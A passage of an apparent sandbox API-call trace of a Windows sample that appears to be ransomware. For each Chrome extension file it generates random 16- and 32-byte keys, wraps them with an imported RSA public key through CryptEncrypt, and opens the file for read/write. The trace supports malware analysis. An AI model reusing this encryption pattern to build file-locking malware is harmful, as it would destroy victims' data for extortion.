CryptEncrypt (in: hKey=0x6484180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4d0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4d0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.248] GetLastError () returned 0x0 [0216.248] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.248] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.250] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484440) returned 1 [0216.250] CryptGetKeyParam (in: hKey=0x6484440, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.250] CryptEncrypt (in: hKey=0x6484440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4e0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.250] GetLastError () returned 0x0 [0216.250] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.250] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.250] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.253] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.253] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.253] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.254] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.255] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.255] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.255] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.255] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.257] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484080) returned 1 [0216.257] CryptGetKeyParam (in: hKey=0x6484080, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.257] CryptEncrypt (in: hKey=0x6484080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4f0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4f0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.258] GetLastError () returned 0x0 [0216.258] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.258] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0216.259] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484240) returned 1 [0216.259] CryptGetKeyParam (in: hKey=0x6484240, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.259] CryptEncrypt (in: hKey=0x6484240, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x500000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x500000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.260] GetLastError () returned 0x0 [0216.260] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0216.260] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.260] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.263] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.263] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.263] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.264] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.265] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.265] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.265] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.265] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0216.267] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484640) returned 1 [0216.267] CryptGetKeyParam (in: hKey=0x6484640, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.267] CryptEncrypt (in: hKey=0x6484640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x510000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x510000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.267] GetLastError () returned 0x0 [0216.267] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.267] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0216.269] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64847c0) returned 1 [0216.269] CryptGetKeyParam (in: hKey=0x64847c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.269] CryptEncrypt (in: hKey=0x64847c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x520000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x520000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.270] GetLastError () returned 0x0 [0216.270] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.270] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.270] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.271] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.273] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.273] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.273] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.274] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.275] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.275] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0216.277] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64844c0) returned 1 [0216.277] CryptGetKeyParam (in: hKey=0x64844c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.277] CryptEncrypt (in: hKey=0x64844c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x8c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.278] GetLastError () returned 0x0 [0216.278] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0216.278] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0216.279] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64840c0) returned 1 [0216.279] CryptGetKeyParam (in: hKey=0x64840c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.279] CryptEncrypt (in: hKey=0x64840c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2860000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x2860000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.280] GetLastError () returned 0x0 [0216.280] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.280] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.280] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0216.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.282] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.282] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.282] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0216.283] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.285] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.285] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.285] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.285] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.287] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x64845c0) returned 1 [0216.287] CryptGetKeyParam (in: hKey=0x64845c0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.287] CryptEncrypt (in: hKey=0x64845c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7380000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x7380000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.287] GetLastError () returned 0x0 [0216.287] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.287] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0216.290] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484500) returned 1 [0216.290] CryptGetKeyParam (in: hKey=0x6484500, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.290] CryptEncrypt (in: hKey=0x6484500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7390000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x7390000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.290] GetLastError () returned 0x0 [0216.290] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0216.290] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.290] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.292] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.293] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.293] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.293] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.293] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.295] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.296] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.296] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.296] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.296] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.298] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484100) returned 1 [0216.298] CryptGetKeyParam (in: hKey=0x6484100, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.298] CryptEncrypt (in: hKey=0x6484100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x73a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x73a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.298] GetLastError () returned 0x0 [0216.298] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.298] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.300] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484540) returned 1 [0216.300] CryptGetKeyParam (in: hKey=0x6484540, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.300] CryptEncrypt (in: hKey=0x6484540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x73b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x73b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.301] GetLastError () returned 0x0 [0216.301] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.301] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\page_embed_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.341] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0216.343] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.344] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.344] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.344] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0216.344] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.346] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.347] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.347] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.347] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.347] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.349] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484140) returned 1 [0216.349] CryptGetKeyParam (in: hKey=0x6484140, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.349] CryptEncrypt (in: hKey=0x6484140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x73c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x73c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.349] GetLastError () returned 0x0 [0216.349] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.349] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0216.352] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484600) returned 1 [0216.352] CryptGetKeyParam (in: hKey=0x6484600, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.352] CryptEncrypt (in: hKey=0x6484600, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x73d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x73d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0216.352] GetLastError () returned 0x0 [0216.352] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0216.352] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0216.353] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0216.354] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.355] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.355] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0216.355] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0216.356] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0216.357] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0216.358] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0216.358] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0216.358] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.358] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0216.385] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6484280) returned 1 [0216.385] CryptGetKeyParam (in: hKey=0x6484280, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0216.385] CryptEncrypt (in: hKey=0x6484280, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x73e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x73e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0216.386] GetLastError () returned 0x0 [0216.386] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0216.386] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0216.388] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, 